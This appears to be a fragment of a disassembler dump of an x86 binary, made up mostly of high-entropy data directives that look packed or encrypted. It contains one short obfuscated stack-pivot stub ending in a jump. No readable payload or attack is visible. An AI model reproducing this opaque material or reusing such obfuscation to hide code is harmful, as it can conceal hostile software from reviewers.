		dd 59D383B6h, 0E1F41F6h, 5D89BE90h, 6C9B6572h, 3E6BEC58h
		dd 11155C8Dh, 0B1DE936Bh, 1934C374h, 46FB66EFh,	0F633E0C5h
		dd 0EF18B245h, 47C87D66h, 5BFD4E24h, 0F92EE3C8h, 90ABC1E4h
		dd 6C5E8AABh, 166B7139h, 1B3D7049h, 0E648708h, 0CD02253Dh
		dd 5CFF95B8h, 9D80D477h, 0DD4015B8h, 1F0255F8h,	1BDC8D3Ah
		dd 1450A474h, 7211E65Fh, 7615EA63h, 65AE379h, 84C1EE23h
		dd 0A47424D3h, 2E680B50h, 64994E33h, 6EA1CEE3h,	1A054F18h
		dd 664B8035h, 770D30B1h, 1E19EFDDh, 9ED37335h, 35CB9h
		dd 0D7C30000h, 1B3E53CEh, 5AFD9336h, 9E81D275h,	0E64116B9h
		dd 2F0A5E01h, 78D3A74Ah, 0B9A4F093h, 0FC6731D4h, 3E217417h
		dd 8956F759h, 4C681E6h,	83000000h, 0FF5604EEh, 5E042474h
		dd 5C24048Fh, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 8953241Ch, 4C381E3h,	81000000h, 4EBh, 241C8700h, 2404895Ch
		dd 4EC81h, 34890000h, 837EBE24h, 0F3890615h, 48B545Eh
		dd 4C48124h, 83000000h,	348904ECh, 89DE8924h, 0FF5E0870h
		dd 81582434h, 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF9F502h
		dd 4E240E29h, 1AC1E610h, 0CCFBAFFh, 158938B8h, 0FFC50306h
		dd 0D1417E0h, 0F7F7E913h, 0A40D593Ah, 5877D342h, 0EAD0022Dh
		dd 0BB3CC33Dh, 0BE19BB60h, 0FD1D9776h, 0B0A33D38h, 39E63662h
		dd 4CABB03Ah, 16357C6Ch, 0CAA78A38h, 2706914Eh,	3DE8A456h
		dd 0AB1FBA1Ah, 0B4210615h, 5CC94248h, 40209F10h, 0B73F8904h
		dd 2F80B448h, 0CDCD1861h, 0A3D0514Dh, 786DE103h, 133C0001h
		dd 0B8645D60h, 0D156666Bh, 2BAD0613h, 3FED662Bh, 0FE859h
		dd 51750000h, 7DBAC554h, 0F5E53D4h, 38EDBD1Ah, 7E93Ch
		dd 0A89D0000h, 72A31798h, 0C18159E7h, 699Eh, 0F8CA8166h
		dd 1A41BF4Bh, 81660000h, 8B69DEF0h, 81D18B19h, 550167F3h
		dd 81D18B67h, 0F71D13C3h, 0C3B70F18h, 38AAC381h, 9E9421Eh
		dd 30000000h, 335D27D8h, 0E4B04E04h, 8FD18A53h,	0FE96001h
		dd 94000000h, 204E74FFh, 0F8DB9A7Ch, 0B372F737h, 890F6B01h
		dd 1, 0E98161F5h, 6CD7F7BFh, 0F3B603B8h, 0BBC18114h, 816CD7F7h
		dd 9B96CDC2h, 1EF8378h,	0FF95850Fh, 0CAB2FFFFh,	31E9h
		dd 3EE60000h, 2Eh, 0Ah dup(0)
		dd 0C9E90000h, 68000004h, 6158C1Bh, 0F9F391E9h,	8C9568FFh
		dd 87E90615h, 68FFF9F3h, 6158E16h, 0F9F37DE9h, 5CFF92FFh
		dd 0EE712447h, 819CB6D9h, 120D496Ch, 0A386DAFDh, 49DB6D8Eh
		dd 0DE011631h, 7699AE89h, 0A2D42DDh, 0EDBCD174h, 0C3688F40h
		dd 0D8CF66EEh, 411649BFh, 8E91C3E6h, 5073F4A9h,	95381D38h
		dd 7B475CFFh, 0EC0BBC1Eh, 436D044Dh, 7B2C598Eh,	6B0B52FFh
		dd 21548136h, 5106EB76h, 7DFE592Eh, 31847798h, 539866F5h
		dd 0D82BED34h, 0FD404600h, 27000002h, 0EE212E87h, 0E215C699h
		dd 4D6D044Dh, 0C97E6398h, 0B51D7C48h, 6A17D788h, 994E6B0Bh
		dd 797E2F6Ch, 5566F52Ah, 0F52A53A4h, 6327DC66h,	0D6772DAEh
		dd 8A52049Ch, 83742562h, 0AC719A0Bh, 0EFAA76F7h, 0D105B6E3h
		dd 1C6FA10Fh, 63368267h, 2291426Fh, 556DA616h, 2A4073A0h
		dd 81D7FA0Fh, 0EF5F9BA6h, 0E6CB7571h, 31189h, 401B6E00h
		dd 0D24D082Bh, 65F89ABDh, 0F6692D50h, 8FAABEE1h, 35C7597Ah
		dd 0C2E5FA5Dh, 52758AADh, 0E6091E01h, 0D1A0B590h, 0C1847324h
		dd 0B4AB66EEh, 0E3EFAA9Bh, 0C3DB05B6h, 6F126B11h, 0D9063B26h
		dd 322D699Ch, 0F417984Dh, 81A4B99Ch, 2F0A60E9h,	7B60954Ah
		dd 638392CEh, 0F5DA7D13h, 1D571440h, 25CB6CEDh,	0FD8CE5BEh
		dd 0A1BCD667h, 0C7D207BCh, 77F18715h, 97AB08EDh, 0E8000002h
		dd 7EA1B691h, 14374CD7h, 0A7CADF42h, 3C5F74EFh,	0CBEC0124h
		dd 78D3A739h, 102B4063h, 0A4BFD8FBh, 33166C8Fh,	0F1A24F1Eh
		dd 66EEC206h, 49213A31h, 1E64116h, 9AFFCB4Ch, 865A0B38h
		dd 546B11C3h, 0AD2EF918h, 0DC9176E9h, 50CE70B0h, 0C5E81D38h
		dd 0F4A98E91h, 0CDFAAF73h, 2B18DF90h, 95C066EFh, 2CF0A58Ah
		dd 0F011F677h, 66EF2B0Bh, 66BFCC11h, 45FACEB2h,	0BE686EAAh
		dd 0E27622AFh, 1964561h, 492C0000h, 1E64116h, 0D2A8CB4Ch
		dd 1C51CC89h, 5BFE9437h, 0B31F7A46h, 55B5D586h,	0CB806B0Bh
		dd 3636C5E6h, 0A1E666F5h, 0D9DD3BC2h, 3D8E4600h, 75000000h
		dd 0B6E3EFAAh, 0B679905h, 0D728D46Bh, 0DA285E3Ch, 5F0CF126h
		dd 77F86B2Ch, 0F4FE25D6h, 0D5B2F766h, 0A5CC4Ch,	77549046h
		dd 1EE796F2h, 1045E077h, 0E0738Fh, 3360000h, 3F48C96Ch
		dd 0ED1A3D53h, 58699BAh, 4AE57D20h, 44E5E99h, 0EF24D96Dh
		dd 3611670Ah, 0A4BFD609h, 0A4890ABFh, 27D86B01h, 6D044DD0h
		dd 687DB267h, 44A0AC7h,	0A98CE26Dh, 1D1C894h, 0DEF323D4h
		dd 94D16B15h, 0F2A514E3h, 0F601B266h, 4166F2A4h, 0E613C88Ch
		dd 0F2A4C235h, 37B86D66h, 5E91BE73h, 0E29410Ah,	0BE3FF4D9h
		dd 0DA175491h, 0F2A4CE29h, 13B46966h, 66F2A4E4h, 0F215964Bh
		dd 83A6BB9Eh, 3C355EEFh, 97CC0124h, 0A22588Ch, 66C3A888h
		dd 116h, 20351069h, 0B0C558FDh,	4358CB8Dh, 0D4E97420h
		dd 697ED9B1h, 5226B648h, 0A8BFE2F7h, 255788Dh, 91E70A1Fh
		dd 25D2A1B6h, 0EEBF8374h, 9CB5AC66h, 71C3F53h, 96AB8EE4h
		dd 0D8D2D69h, 0EA896E1Fh, 0F9AE6D03h, 0EF2265CDh, 3D53656Eh
		dd 0FC92351Ah, 0DB174459h, 55768C6h, 0D0D70349h, 0BA77593Bh
		dd 51481495h, 0F5A35481h, 3C6B0AD1h, 2D62FD99h,	1541C400h
		dd 41DDC3CCh, 86093C0h,	0F4C72D36h, 3E731BB1h, 97738829h
		dd 0F6566F4h, 9CF4172Ch, 7F77D4B9h, 0DE000000h,	0E7421649h
		dd 0D3FF9A66h, 0C3EFF5A6h, 91466B11h, 81762764h, 0B666EEC4h
		dd 0F8DD4013h, 0A88D0E43h, 0B7CC6F05h, 2E5BFE94h, 0C3B740F1h
		dd 0CB8066EEh, 0F444654Ah, 113F19ADh, 4A20AFBCh, 0A1B7DAEFh
		dd 6B1C5986h, 3EC5518Ch, 886DEEA3h, 81AEB1E5h, 6523054Eh
		dd 0EBF3EC97h, 967BFC31h, 2CBBC89Dh, 0BBDEF356h, 0F09D82A5h
		dd 0A3889BBDh, 0E710C1EEh, 503EC60Ah, 33D1A9Bh,	0A4000000h
		dd 3E53CED7h, 0FD93361Bh, 81D2755Ah, 4116B99Eh,	0A5E01E6h
		dd 0D3A74A2Fh, 0A4F09378h, 6731D4B9h, 217417FCh, 68F7593Eh
		dd 74F5h, 89240C89h, 4C181E1h, 83000000h, 0C8704E9h, 89565C24h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2434895Ch, 1D1168h
		dd 242C8900h, 3F7F7268h, 0E6C15E00h, 8EEC106h, 0C681D6F7h
		dd 6256B1Ch, 242C8B54h,	4C481h,	89500000h, 2C8150F0h, 0E23BC224h
		dd 8458F02h, 0C2084581h, 5802E23Bh, 5D2434FFh, 4C481h
		dd 348B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		dw 36F3h
		dd 16E4345Eh, 23602ADEh, 72107AD7h, 158F51B8h, 0FFC50306h
		dd 5D3209E0h, 3F47F336h, 570D3F67h, 6D81170Eh, 781E004Fh
		dd 97CAF343h, 7BB68464h, 8BFDB851h, 0C15E3F62h,	38D44237h
		dd 0B261DE5Eh, 81ADBE2Dh, 0A44F715h, 61DA373h, 7750122Ch
		dd 75A38C32h, 9B174A5Eh, 4EBD6A69h, 25BC8B65h, 8C738915h
		dd 7A9CA84Bh, 28D8D27h,	23061591h, 0F124DB5h, 658D8906h
		dd 6A060F2Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 61B5C353h, 10D4BCF2h, 8503360Ch
		dd 60F15A1h, 7C185C7h, 6374060Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 16F223C3h
		dd 81329B6Ch, 81E1D5D8h, 8CB86607h, 9185C7E7h, 60F24h
		dd 29000000h, 0F29059Dh, 0C5B5FF06h, 6A060F11h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 9561C352h, 0A0AF9972h, 595FF59h, 0F060F2Ah, 83h, 0FF006A00h
		dd 0F345195h, 0EBC08B06h, 1E8B415Eh, 0D34CA258h, 1394AE27h
		dd 794B2E1h, 0A4F5DC84h, 8C159A5Eh, 13866F57h, 0D0EC93DBh
		dd 0B6C6106Eh, 0F5AF94DAh, 0EC68F275h, 4D63CF57h, 0DC9C0ED1h
		dd 3A17E9ADh, 0B2741379h, 827CE849h, 72E90ED4h,	0AF9CAF85h
		dd 3844C0Dh, 71EF014Fh,	74942902h, 8AB4330Dh, 0FDE05BB9h
		dd 53A69284h, 5DB16348h, 0E9B132AEh, 57B13254h,	0B4730A55h
		dd 60F76C6Eh, 1631A3B8h, 4900F4F3h, 36FA7504h, 0E54D3256h
		dd 0AEB37565h, 57B0B459h, 0AB443256h, 0D3333D56h, 8AB13256h
		dd 1F3B8D30h, 0DAB13237h, 3B7AB930h, 4D4DAD7h, 37B13237h
		dd 0A4FEC2D6h, 0D5D0E2E9h, 0E63A3D56h, 7AB13256h, 0BAB134DCh
		dd 5D303D56h, 0DDB13256h, 83B16814h, 0CA4E8D59h, 5CBE3256h
		dd 0EAB1325Ch, 7AE96036h, 0BAB132D8h, 0DBBE5356h, 0AEB1325Eh
		dd 57B3BE59h, 0CAD13256h, 0D5ED05C1h, 0EABEDB56h, 0CF453256h
		dd 75984D20h, 0FE3BB53h, 0F34AB0DBh, 57A5DBE9h,	16E93256h
		dd 703A9485h, 4DC1AA2Dh, 7AFD0C84h, 0C6369C6Eh,	5DB1A765h
		dd 0AEB123BFh, 1A582156h, 0C6410E39h, 94BC700Ah, 0B58ED970h
		dd 13D1B8A1h, 31D7EDDDh, 5DB15387h, 0AEB6DB36h,	8C5A3256h
		dd 0B593D95Dh, 0EEAA8807h, 8AD00F24h, 75B13ABEh, 35467856h
		dd 12E7EC3Ch, 0AEBFDBECh, 66BA3256h, 31705448h,	0B271A3F8h
		dd 0E1BC0E0Ch, 75A1DA0Ch, 0F953256h, 0AEEB3E22h, 42D0D590h
		dd 0BAAA4948h, 20D75180h, 0D5D06880h, 0EAB4DB56h, 46CB3256h
		dd 0B5F715EDh, 5DB138DAh, 0F5E15256h, 8D36D4D7h, 0ABD0581Eh
		dd 0D5B1CB56h, 3B132AFh, 75B13253h, 646560B5h, 0A8B1324Eh
		dd 25B78236h, 57B15385h, 0ABB13DBFh, 0F66B1D56h, 0BDECD1C7h
		dd 2D01A020h, 723242A2h, 3D483256h, 2541B930h, 57B1539Eh
		dd 0A452B836h, 0D5D0E1E1h, 0EAB1C756h, 0FEBEC736h, 0BAB13244h
		dd 5DB13FBFh, 885A4D56h, 0ED72C1BBh, 55ADE31Dh,	0D5D0DECAh
		dd 0EAB4DB56h, 0CBEF3256h, 0BA516021h, 0EABE5256h, 0F14D61AEh
		dd 37B13237h, 4366B930h, 0D5B13247h, 7228B71Ah,	37CC4278h
		dd 0BAF3072h, 0F7768FB2h, 0AEB9DAE8h, 2A1A3256h, 0C959AD4Dh
		dd 8DEB5742h, 0EAB1CE37h, 763A3D36h, 0B5B13256h, 52E2E9E1h
		dd 0AEB132D5h, 57D06B56h, 0ABBEDB56h, 0B9173256h, 38FCF85Dh
		dd 0F01AB98Ah, 26F94CD8h, 0B4B132A0h, 0AEB1325Fh, 460A07F9h
		dd 0B92ABECFh, 0D43F3D22h, 1FB13256h, 7E583256h, 3BB13256h
		dd 5177C94h, 0E25DFDCCh, 4358A6A3h, 7B13256h, 9553ADC3h
		dd 6B5FD7AAh, 0B5455AFCh, 315332F6h, 5D4C6FD7h,	0AEB6DB56h
		dd 34503256h, 0FF8967E9h, 0D5B13004h, 0E1583256h, 14B13256h
		dd 6626164Bh, 2364F008h, 0A9666813h, 57B7325Fh,	0ABB3325Eh
		dd 0D5823258h, 3CD431DFh, 75B1227Dh, 0BAA3BF59h, 50583256h
		dd 0F1B13256h, 3F509B70h, 7978AA3h, 0E4CC2BA4h,	5AD13256h
		dd 75BCDBEAh, 54FB3256h, 0FF88E00Eh, 0CA2C8435h, 36FDA8B9h
		dd 0AB443256h, 0D5BEDB56h, 1ED63256h, 359A1457h, 4047D3F9h
		dd 9C7B954Eh, 47B132C0h, 57B1325Ch, 3A08324Bh, 9464956Fh
		dd 0EA481F08h, 7A585256h, 52B13256h, 84EA72C1h,	4BD511A9h
		dd 0CB595BD0h, 2BE086C0h, 0B4EB7A83h, 3B132AEh,	75B1325Bh
		dd 0B6765D48h, 10967A89h, 616CBABBh, 0ECD752BFh, 26BE9452h
		dd 0D5B13250h, 0EAB1BF59h, 75D03256h, 0BAB37956h, 16B132A3h
		dd 0AEB13954h, 3DFBE56h, 0B75FF4AEh, 476B2EDBh,	0EAD0DBE4h
		dd 7509CB56h, 0BAB13256h, 0EF0C2631h, 5008B255h, 7C49E09h
		dd 0ABB134BFh, 91E6E456h, 7C42507Bh, 76038F42h,	0E54F8BD6h
		dd 26BB47FAh, 923853CBh, 0F400A472h, 0C4FF7B31h, 6DD7372Ah
		dd 8BE8A0D7h, 92B132C6h, 39830FC2h, 82CF0B56h, 5F30C77Ah
		dd 6A84DA4Eh, 0ABB134BFh, 11666456h, 77C2D0FBh,	2B28A037h
		dd 0D0E43E69h, 9C30540Dh, 0A2582C60h, 0F3B13256h, 0BB62F05Bh
		dd 0E99E3C5Fh, 77FA2893h, 44BE6006h, 0E0D06A0Ch, 6C69A40Eh
		dd 0C335A540h, 3E4101F4h, 8EADBDB8h, 0D5B13FBEh, 6D779356h
		dd 56E3EFE2h, 0C52FEB76h, 0D6D7A71Ah, 3DD06C8Fh, 0E34CEB9h
		dd 3BE96837h, 53A54CBh,	7AE96837h, 874C66F1h, 8448F215h
		dd 1704DEC9h, 0A1E968EDh, 7E36267h, 0F1803D04h,	0B5803D0Eh
		dd 0B0E96837h, 75B16A0Eh, 0B37FBCC3h, 6084F38Dh, 0AEB1E7CAh
		dd 57BDB659h, 2ABE3256h, 0D5B13250h, 0EAB1BA59h, 26D13256h
		dd 0DCEA5336h, 3C998DEFh, 0C8D13256h, 29F0E2D7h, 27ABDBD7h
		dd 0D5D05357h, 0EABCDB56h, 86093256h, 0C708A66Ah, 0E66E87C7h
		dd 0AE039865h, 56363D56h, 53B13256h, 87D13256h,	8B4AB90Fh
		dd 15B132AAh, 0C408E1DDh, 3CC88A35h, 27BE3256h,	57B1325Ah
		dd 0D770B336h, 0B3910D61h, 8B08E0E8h, 13D13256h, 0DBF9B7E8h
		dd 4B2E8A36h, 0AED01B63h, 57B1CE56h, 5EB132AAh,	5ED13256h
		dd 103A54ACh, 15B13237h, 5368B936h, 5DB13253h, 84CAED23h
		dd 8530538Dh, 0C0756248h, 0D5B4DB37h, 0A9A53256h, 7579F962h
		dd 0BAA0DB56h, 87EC3256h, 746F74BFh, 0B1E0C57Ah, 35487EE6h
		dd 0D5650B9Ah, 0EAB1CB56h, 7AB132AFh, 0BAB133D0h, 5DB1CE56h
		dd 0AEB0B959h, 57443256h, 0ABB1CA56h, 0D5A8B659h, 0FE583256h
		dd 0ADB13256h, 9EBDCC5Ah, 69EBDDF2h, 3EC84BD6h,	80D24B3Ch
		dd 0AB1F45ECh, 6ABE5256h, 25AF8C9Ch, 8CD01F1Ah,	0B2583256h
		dd 4BB13256h, 86BB70A5h, 583EF82Bh, 0ABB133DDh,	0D5B1CA56h
		dd 0EAB0B859h, 75443256h, 0BAB7DB56h, 57993256h, 0FA8172D0h
		dd 57493256h, 0E6035256h, 0D4303D37h, 12B13256h, 79583256h
		dd 0DBB13256h, 0E751506Ah, 4D0C1A1Ch, 57190FBFh, 6C3A5256h
		dd 0B5D0F5DDh, 8C4A8559h, 14B1E3E8h, 3FBE3256h,	5DB13241h
		dd 0AEB120BFh, 32DCA956h, 0A86A1112h, 76D64D02h, 0C0C9E814h
		dd 75FA7EECh, 0BAB1CE56h, 5DA4B759h, 0BE583256h, 80B13256h
		dd 9FF9B414h, 0F4E68C68h, 8808514Dh, 75B87D2Dh,	0DBE5256h
		dd 5DB153A6h, 0AEB135BFh, 54BB8D56h, 1124CBE3h,	2DD13256h
		dd 16D0F6E5h, 7F583256h, 0A9B13256h, 8246A8A6h,	4CC19FDBh
		dd 37B1320Dh, 0ABB13EBFh, 1A83B256h, 1124C242h,	5FBC4788h
		dd 0DC4D522Bh, 0BF68C1D7h, 0AEB15337h, 37E38036h, 94ADDCD7h
		dd 55BE119Eh, 0EAB13256h, 75B15337h, 8C6FB336h,	0B5C965C6h
		dd 0AEB13250h, 64D16855h, 0CAD1536Fh, 0D5B1530Eh, 0EABEBD59h
		dd 7F583256h, 59B13256h, 29276E17h, 0A2EB501h, 0ABB132AEh
		dd 0AB4D3256h, 3C485256h, 0EAB1325Ah, 0C341AD25h, 6873AF0Ah
		dd 3FB21B1Dh, 57B13237h, 5C583256h, 3DB13256h, 2664BBD8h
		dd 26B52B9Dh, 75B10469h, 0B5B132AEh, 5DB126D4h,	0AEBEDB56h
		dd 0F6353256h, 5AE81582h, 0D83291E0h, 0E157E88Eh, 0AC0952C2h
		dd 0B5D47EEAh, 5DD0E3E1h, 0AF373D56h, 0ABB13256h, 0AD583256h
		dd 12B13256h, 0DBD221B8h, 643C3D10h, 53B13256h,	5DB1325Ah
		dd 0F090A2A0h, 0A4FE375Bh, 0E83DD373h, 0DC583256h, 96B13256h
		dd 0B20F1C28h, 0DA6DD383h, 0D0BE3256h, 0AEB13247h, 57B13EBFh
		dd 0C8653F56h, 967E0516h, 33F897D7h, 80B132FBh,	0BAB0BB59h
		dd 5D493256h, 0AEA2DB56h, 94E3256h, 9E559B55h, 7589CB4h
		dd 0CAC92276h, 79AFA510h, 46B13292h, 5DB9B859h,	2ABE3256h
		dd 57B13254h, 0ABB15336h, 0D5B1CBAFh, 0EAB8DB36h, 69323256h
		dd 5219BFA6h, 0D8FFE83h, 57D06CAEh, 46583256h, 55B13256h
		dd 5081458Ah, 0BBFBEFB3h, 19E6D115h, 0A7413EBCh, 3D493256h
		dd 76305406h, 5EF13ADh,	7579B330h, 0D5D06DAEh, 6BD75256h
		dd 0CA2B6D9Eh, 0B8C8DC0Ch, 3DB13237h, 467CEBD6h, 57B1325Fh
		dd 14138FB7h, 0E675618Ch, 0EABBDB0Bh, 0EE7A3256h, 87CC5F15h
		dd 1873DC42h, 0AEB1530Fh, 88305436h, 0ABD0439Ah, 0B44D5256h
		dd 0E6583256h, 21B13256h, 0F4822D55h, 0A9E872F3h, 0AE8E6615h
		dd 0E9D75256h, 7B309A59h, 0F74CFD1Eh, 0EAB6DB37h, 410A3256h
		dd 29FC7795h, 52B13248h, 0AEB13EDDh, 51353D56h,	0A4B13256h
		dd 0D5B132D9h, 1FB13256h, 0CED13256h, 0CFF1CC9Ch, 3C4E8D59h
		dd 0A1D13256h, 57B132D0h, 0CA50B856h, 0D5443256h, 0EAB1CB56h
		dd 556AB336h, 0DBB86F46h, 52D13256h, 0AEB127D8h, 57BEDA56h
		dd 0E8893256h, 26042F2Eh, 1FA0ED7Dh, 0E1616091h, 53D1693Bh
		dd 5DB1325Ch, 0CE115267h, 0CA25B26Fh, 0A658CB5Ch, 99B13256h
		dd 1F1BFEF7h, 0F20EB754h, 47D770A1h, 5DB15337h,	0AEB13BBFh
		dd 6C5256h, 6F9792A0h, 0D5B18632h, 0EAB1CEAFh, 0A559B336h
		dd 0DCA9C7A6h, 6C65E0D7h, 0AEB1CB37h, 57B13DBFh, 1AC55A56h
		dd 0E7EAF134h, 5C2EBB5Eh, 6FEA9927h, 0A9583256h, 0C2B13256h
		dd 9DFCD7A3h, 5907A022h, 8A802EDh, 13CDBE9Ah, 0EAB1AB2Ch
		dd 75B13DBFh, 0BD89DC56h, 0CDF9B0FEh, 0A994B395h, 4DF5719h
		dd 0AB493256h, 20D1CE56h, 8B33F7D6h, 65583256h,	0D7B13256h
		dd 81924513h, 363BBF3Ch, 0F7DBDDFh, 0AB25C1C6h,	0D4373D56h
		dd 1FB13256h, 7F583256h, 1BB13256h, 9BAB8CDDh, 83F7B42Eh
		dd 37B1329Fh, 0ABB1B759h, 54D73256h, 8B97DEBFh,	75493256h
		dd 0BABCDB56h, 6CD43256h, 0F385CF86h, 54E6B2A4h, 0AB5318A6h
		dd 0CC313D56h, 3B13256h, 75B13242h, 2F34923Dh, 0D4A94EE8h
		dd 0DD0DAD59h, 0C5204264h, 25132047h, 0D5B121BFh, 80B06256h
		dd 5AD999A6h, 12153DDEh, 217957CFh, 12B9DDB4h, 0D1BE3256h
		dd 0ABB1325Ch, 0D5B137BFh, 93E67456h, 75B12580h, 0DAB132AEh
		dd 5DB134BEh, 4EB89756h, 0E33034CDh, 2CBE6C39h,	0D5B13254h
		dd 8AD06804h, 75B120BFh, 0B1D2BF56h, 0D49893A5h, 0D1AA2FB8h
		dd 58DF5B72h, 0CAF604FCh, 55D13256h, 6BBE8297h,	75B13254h
		dd 0BAD06804h, 49373D56h, 47B13256h, 57B13259h,	0B1341D6Dh
		dd 0CA7F5EEDh, 0B9A8B242h, 75D99A5Bh, 0BABFDB56h, 50683256h
		dd 7C18810h, 0A186138Dh, 91CDF216h, 54D13256h, 0A91DBF8Ch
		dd 1469B93Bh, 0B5D13256h, 0E6D7F1E1h, 0AED00A68h, 5F303D56h
		dd 0A4B13256h, 0D5B130D8h, 0E5D05256h, 75B13AD3h, 0B8353D56h
		dd 3DB13256h, 0CEB13237h, 57D090E4h, 0CA495256h, 54D13256h
		dd 7850A390h, 75B1537Eh, 0DAB132AEh, 5DB7BC59h,	2DBE3256h
		dd 57B13256h, 0ABB7BC59h, 13303256h, 89EB6451h,	9CB13237h
		dd 0BAB1325Dh, 5AADA68h, 3F2B20AFh, 0A23F4EC2h,	20D13256h
		dd 0D63F3D8Eh, 0E5B13256h, 75D0EDE1h, 0BABFDB56h, 0F2713256h
		dd 54BB9637h, 706593D2h, 807C30Fh, 0D5483256h, 8CD15256h
		dd 9DF6D0D7h, 0CB8C8930h, 3C208237h, 0AE4D3256h, 0B3315256h
		dd 743A54C0h, 29B13237h, 55D13256h, 36E5B599h, 0F73FE3D7h
		dd 0A4D01E01h, 0AE483256h, 57B6DB56h, 0ABEE3256h, 3A6B013Dh
		dd 3B13266h, 75B13250h,	37BFC211h, 0DEBE56B0h, 0AEB13242h
		dd 57B13DBFh, 6EC7F256h, 55D3AE22h, 9EE5A831h, 9127FE1Bh
		dd 0BA443256h, 5DA3DB56h, 0C91A3256h, 68CF5D09h, 9BB0649Eh
		dd 0BEC9E3F9h, 51D79ADDh, 0F1BE3256h, 0BAB13257h, 0A4B132AAh
		dd 0AE483256h, 57B1CE56h, 260E52AFh, 0B4F4EC53h, 0FB583256h
		dd 0D8B13256h, 0DB80F6EFh, 285F2340h, 0DE5013CBh, 3EAE8B00h
		dd 0CBD13256h, 0DD5853AEh, 0EEB13256h, 5D4ABDD8h, 0DBF788B2h
		dd 5B583256h, 88B13256h, 0B61E727Dh, 0ABB1C7A0h, 0D5B6BC59h
		dd 0E5D13256h, 2CE1EDE9h, 0DAB13237h, 7901E4D7h, 0A1D15903h
		dd 57B132D0h, 0ABD05356h, 5DBEC756h, 0EAB13257h, 89B132A3h
		dd 0BA4D3256h, 5C373D56h, 57B13256h, 47583256h,	92B13256h
		dd 3763310Fh, 0C964CB23h, 3CABB1ACh, 0BAF436D6h, 0D6D75256h
		dd 793A5494h, 37B13237h, 0CD718559h, 0DF35FAD7h, 3B13237h
		dd 75B1325Bh, 0E4D806BFh, 51AA9E93h, 3555D585h,	0AEB1329Ch
		dd 2FBE3256h, 0D5B1325Ah, 0E36EB336h, 13B25653h, 0DB4F86E9h
		dd 3BD13256h, 0C8A3C0EDh, 0BDDEF4D7h, 0CBB13237h, 0C268B330h
		dd 3D1534Ch, 75B1325Ch,	0AAFE3E81h, 9AE774E7h, 0A55863ABh
		dd 5FB13256h, 0BAB3FB9Bh, 1070B9F4h, 0EAD06D13h, 0CABE5256h
		dd 0DB40B9A5h, 5D4D3256h, 0AEB1CB56h, 51313D36h, 2AB13256h
		dd 9437968Fh, 0F9303D0Bh, 9CB13256h, 0BAB13258h, 93F66D59h
		dd 0DA9C21D6h, 0A3864DF2h, 0ABD04587h, 0DC58CA56h, 40B13256h
		dd 0EF2ECFEBh, 7E709ACAh, 0B5D13256h, 0AEB13259h, 913F01Bh
		dd 0A21CCE1Eh, 4C9F412Eh, 39EFDA5h, 75B1325Fh, 492EDE46h
		dd 65103223h, 2FD76D16h, 361E4381h, 0ABB122BFh,	542D9B56h
		dd 39329B1Eh, 0BD0A743Ah, 1B590634h, 52B13246h,	0AEB122DAh
		dd 57BADB56h, 5E293256h, 0CFA6FB3Eh, 5559C0A3h,	7AB13296h
		dd 0BAB133D9h, 0B5D1CA56h, 0AEB13251h, 19876EDh, 2A170726h
		dd 96A4B0A7h, 0C00B6A5Ah, 14D46C98h, 0B5583256h, 5DB13256h
		dd 0B598216Ah, 7A7D60BDh, 25FB2A71h, 0D5B16663h, 8AB132AEh
		dd 0AF063D36h, 328D8DEFh, 0DE65350h, 0AED06D0Ch, 50313D56h
		dd 0A4B13256h, 0D5B133D4h, 0EAB1CB56h, 75B134BFh, 0AE330E56h
		dd 5D94BA13h, 0BF3A3D56h, 58B13256h, 0ABB139DCh, 0D5B7DB56h
		dd 71C93256h, 9DADE968h, 32BE3256h, 5DB13257h, 47B132AAh
		dd 57B1325Fh, 0F51CC964h, 1911EE77h, 0FA353D4Dh, 9CB13256h
		dd 0BAB1325Dh, 0BE4C4B6Ah, 0A13FB6FFh, 57AA8B9Ch, 0ABB1CA56h
		dd 0DAB132AAh, 0EAB122D2h, 75BADB56h, 0C7693256h, 426F77ECh
		dd 0FBE25332h, 37B132A2h, 0CAAA58E8h, 0D5B8DB6Ch, 0E2583256h
		dd 249F2930h, 0DB841769h, 51583256h, 20B13256h,	0D73E3FCEh
		dd 9CDB5C5Ch, 0D5F3C42Fh, 0EAB1CE56h, 9CB132AFh, 0BAB13245h
		dd 58189019h, 2B7703B5h, 0AE7573EDh, 11884830h,	0D53BA12Fh
		dd 0FD383D56h, 9CB13256h, 0BAB13244h, 3F49B2FBh, 877B2D52h
		dd 6047663Ah, 478217E3h, 0D5B13926h, 0EAB13FBFh, 0E9EE2C56h
		dd 0C9F8CD29h, 0CA22C6FFh, 0AEB1DB13h, 0BEB132AAh, 0ABB13250h
		dd 2E78065Fh, 0EAB1F1C4h
		dd 75B13ABFh, 141E9556h, 2F7F1B9Ah, 0AEB8DB32h,	79F13256h
		dd 1142A3Eh, 0D558DF42h, 0EB3E3D56h, 80B13256h,	39BE3256h
		dd 5DB13247h, 0AEB13EBFh, 0F9A74656h, 1D90CA43h, 7723945h
		dd 8AB132F4h, 75B122BEh, 7E06CA56h, 1D0B04F1h, 0A8EC5232h
		dd 445A8835h, 2C0E54B8h, 0C1586CB1h, 89B13256h,	69A1367Bh
		dd 3BDEBA59h, 0AE54890Fh, 8601F00Dh, 36665A15h,	29BE3256h
		dd 0D5B1325Ah, 0EAB135BFh, 1E05A056h, 7B7D74A1h, 0D7D13256h
		dd 0AED0C787h, 5749CA56h, 20D15256h, 0D5313DA5h, 8BB13256h
		dd 5323C2D7h, 0BAD0646Eh, 5DBBDB56h, 4ED3256h, 9BB6BEB3h
		dd 5B52BC86h, 0DE583256h, 0AB13256h, 8E3F4AA8h,	29906D8Fh
		dd 5DB16264h, 0AEB134BFh, 0E4A81256h, 0AB5DEB80h, 0D5B1CE56h
		dd 0EAB13DBFh, 0E470AD56h, 0AB2A547h, 3D92E955h, 0CB502E34h
		dd 57BDDB36h, 0A00D3256h, 529E9ACh, 0F5762A4Ch,	655803C1h
		dd 0DB13256h, 0B728B557h, 4A68EC21h, 1D5FFE73h,	0CA4AC3D2h
